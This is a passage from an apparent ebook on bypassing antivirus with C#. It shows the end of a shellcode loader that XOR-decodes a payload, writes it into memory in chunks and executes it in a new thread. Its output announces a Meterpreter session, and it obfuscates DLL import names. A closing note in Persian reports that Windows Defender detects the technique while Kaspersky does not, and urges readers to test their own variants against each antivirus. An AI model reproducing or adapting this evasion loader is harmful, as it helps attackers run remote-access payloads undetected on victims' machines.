                0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9 ,0xf9, 0xf9, 
0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9,
                0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9 ,0xf9, 0xf9, 
0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9, 0xf9,
                0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9,0xf9 };
                RtlMoveMemory(jmpaddr_uintaddress[0], opsx,(uint) opsx.Length);
                RtlMoveMemory(jmpaddr_uintaddress[0]+ (uint)opsx.Length, jmpaddr_execution_jmp_code[1], (uint)chunk_Final_Payload2.Length);
                RtlMoveMemory(jmpaddr_uintaddress[1], opsx, (uint)opsx.Length);
                RtlMoveMemory(jmpaddr_uintaddress[1] + (uint)opsx.Length, chunk_Final_Payload2, (uint)chunk_Final_Payload2.Length / 2);
                RtlMoveMemory(jmpaddr_uintaddress[1] + ((uint)chunk_Final_Payload2.Length / 2 + 
(uint)opsx.Length), jmpaddr_execution_jmp_code[2],(uint) jmpaddr_execution_jmp_code[1].Length);
                byte[] test = new byte[chunk_Final_Payload2.Length / 2];
                for (int i = 0; i < test.Length; i++)
                {
                    test[i] = chunk_Final_Payload2[i + (chunk_Final_Payload2.Length / 2)];

                }
                RtlMoveMemory(jmpaddr_uintaddress[2], opsx, (uint)opsx.Length);
                RtlMoveMemory(jmpaddr_uintaddress[2]+ (uint)opsx.Length, test, (uint)test.Length);
                uint threadId2 = 0;
                IntPtr hThread2 = CreateThread(0, 0, (IntPtr)inittorun, pinfo, 0x0, ref threadId2);
                // ResumeThread(hThread);

                // VirtualProtectEx(ProcessHandle2, (IntPtr)AddressOfPayload_In_Mem, (UIntPtr)_X_to_Bytes.Length, 0x10, out uint _);
                Console.WriteLine("[!] Protection Mode in Memory set to 0x10 Execute, StartAddress.Result[" 
+ AddressOfPayload_In_Mem.ToString("X8") + "]");
                Console.WriteLine("\nBingo: Meterpreter Session via Chunking Payload In-memory  ;)");
                WaitForSingleObject(hThread2, 0xFFFFFFFF);
            }).Start();
        }
        public static byte[] Xor(byte[] cipher, byte[] key)
        {
            byte[] xored = new byte[cipher.Length];

            for (int i = 0; i < cipher.Length; i++)
            {
                xored[i] = (byte)(cipher[i] ^ key[i % key.Length]);
            }

            return xored;
        }

        [Flags]
        public enum AllocationType
        { Commit = 0x00001000 }

        [Flags]
        public enum MemoryProtection
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08
        }


        [DllImport("ke" + "rne" + "l" + "32.dll")]
        public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool ReadProcessMemory(IntPtr hProcess, uint lpBaseAddress, [Out] byte[] lpBuffer,
 int dwSize, IntPtr lpNumberOfBytesRead);
        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("ntdll.dll")]
        private static extern bool RtlMoveMemory(uint addr, byte[] pay, uint size);

        //[DllImport("kernel32")]
        //public static extern uint VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        public static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, 
IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
        [DllImport("kernel32")]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        /// https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocexnuma
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern uint VirtualAllocExNuma(
                IntPtr hProcess,
                IntPtr lpAddress,
                uint dwSize,
                UInt32 flAllocationType,
                UInt32 flProtect,
                UInt32 nndPreferred);
        //[DllImport("kernel32.dll", SetLastError = true)]
        //public static extern bool WriteProcessMemory(IntPtr hProcess, uint lpBaseAddress, byte[] lpBuffer, 
Int32 nSize, out uint lpNumberOfBytesWritten);
        // [DllImport("kernel32.dll", SetLastError = true)]
        // static extern uint ResumeThread(IntPtr hThread);

    }
}

				

				
 
و در آخر باید گفت که این کد توسط WindowsDefender شناسایی می شود اما Kaspersky نتوانست این کد و تکنیک را شناسایی کند
در نتیجه بهتر می باشد که این کد را با ایده های خود که به کد اضافه کرده اید بر روی تک تک آنتی ویروس ها تست کنید.
 
video about this code : https://www.youtube.com/watch?v=yNbUner6yZg
 

eBook: Bypassing Anti viruses by C# Programming v2.0

Last Updated: 2023 Jul 14